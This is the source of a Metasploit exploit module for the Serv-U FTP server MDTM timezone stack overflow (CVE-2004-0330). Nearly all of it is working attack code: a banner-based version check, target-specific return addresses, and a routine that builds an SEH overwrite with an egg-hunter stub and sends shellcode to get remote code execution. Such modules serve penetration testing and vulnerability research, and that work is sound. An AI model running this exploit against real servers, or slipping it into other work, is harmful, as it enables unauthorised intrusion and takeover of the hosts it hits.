metasploit-framework/modules/exploits/windows/ftp/servu_mdtm.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serv-U FTPD MDTM Overflow',
      'Description'    => %q{
          This is an exploit for the Serv-U\'s MDTM command timezone
        overflow. It has been heavily tested against versions
        4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
        nt4/2k/xp/2k3. I have also had success against version 3,
        but only tested 1 version/os. The bug is in all versions
        prior to 5.0.0.4, but this exploit will not work against
        versions not listed above. You only get one shot, but it
        should be OS/SP independent.

        This exploit is a single hit, the service dies after the
        shellcode finishes execution.
      },
      'Author'         => [ 'spoonm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-0330'],
          [ 'OSVDB', '4073'],
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
          [ 'BID', '9751'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
      'Platform'      => %w{ win },
      'Targets'        =>
        [
          [
            'Serv-U Uber-Leet Universal ServUDaemon.exe', # Tested OK - hdm 11/25/2005
            {
              'Platform' => 'win',
              'Ret'      => 0x00401877,
            },
          ],
          [
            'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
            {
              'Platform' => 'win',
              'Ret'      => 0x0040164d,
            },
          ],
          [
            'Serv-U 5.0.0.0 ServUDaemon.exe',
            {
              'Platform' => 'win',
              'Ret'      => 0x0040167e,
            },
          ],
        ],
      'DisclosureDate' => 'Feb 26 2004',
      'DefaultTarget' => 0))

    register_advanced_options(
      [
        OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
        OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
      ])

  end

  # From 5.0.0.4 Change Log
  # "* Fixed bug in MDTM command that potentially caused the daemon to crash."
  #
  # Nice way to play it down boys
  #
  # Connected to ftp2.rhinosoft.com.
  # 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
  #
  # Heh :)

  def check
    connect
    disconnect

    case banner
      when /Serv-U FTP Server v4\.1/
        vprint_status('Found version 4.1.0.3, exploitable')
        return Exploit::CheckCode::Appears

      when /Serv-U FTP Server v5\.0/
        vprint_status('Found version 5! 5.0.0.0 may be exploitable, but not 5.0.0.4');
        return Exploit::CheckCode::Detected

      when /Serv-U FTP Server v4\.0/
        vprint_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
        send_user(datastore['USER'])
        send_pass(datastore['PASS'])
        if (double_ff?())
          vprint_status('Found version 4.0.0.4, exploitable');
          return Exploit::CheckCode::Appears
        else
          vprint_status('Found version 4.1.0.0, exploitable');
          return Exploit::CheckCode::Appears
        end

      when /Serv\-U FTP Server/
        vprint_status('Found an unknown version, try it!');
        return Exploit::CheckCode::Detected

      else
        vprint_status('We could not recognize the server banner')
        return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    # Should have paid more attention to skylined's exploit, only after figuring
    # out how my payloads were getting transformed did I remember seeing \xff
    # doubling in his CHMOD exploit, arg!
    shellcode = payload.encoded

    case datastore['ForceDoubling']
      when 1
        print_status("Forced doubling of all \\xff sequences in the encoded payload")
        shellcode.gsub!(/\xff/, "\xff\xff")
      when 0
        print_status("Forced doubling has been disabled")
      when 2
        if (double_ff?())
          print_status("Forced doubling enabled after detection of version 4.0.0.4")
          shellcode.gsub!(/\xff/, "\xff\xff")
        end
    end

    # Searcher expects address to start scanning at in edi
    # Since we got here via a pop pop ret, we can just the address of the jmp
    # off the stack, add esp, BYTE -4 ; pop edi

    search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
    search_stub = Rex::Arch::X86.searcher(search_rtag)
    search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
    if (datastore['SEHOffset'] < search_code.length)
      print_error("Not enough room for search code, adjust SEHOffset")
      return
    end

    jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'

    buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
    buf << search_code
    buf << jump_back
    buf << [target.ret].pack('V')
    buf << ' /'
    buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
    buf << shellcode
    buf << search_rtag

    send_cmd( [buf], false )

    handler
    disconnect
  end

  def double_ff?
    res = send_cmd( ['P@SW'], true )
    return (res and res =~ /^500/) ? true : false
  end
end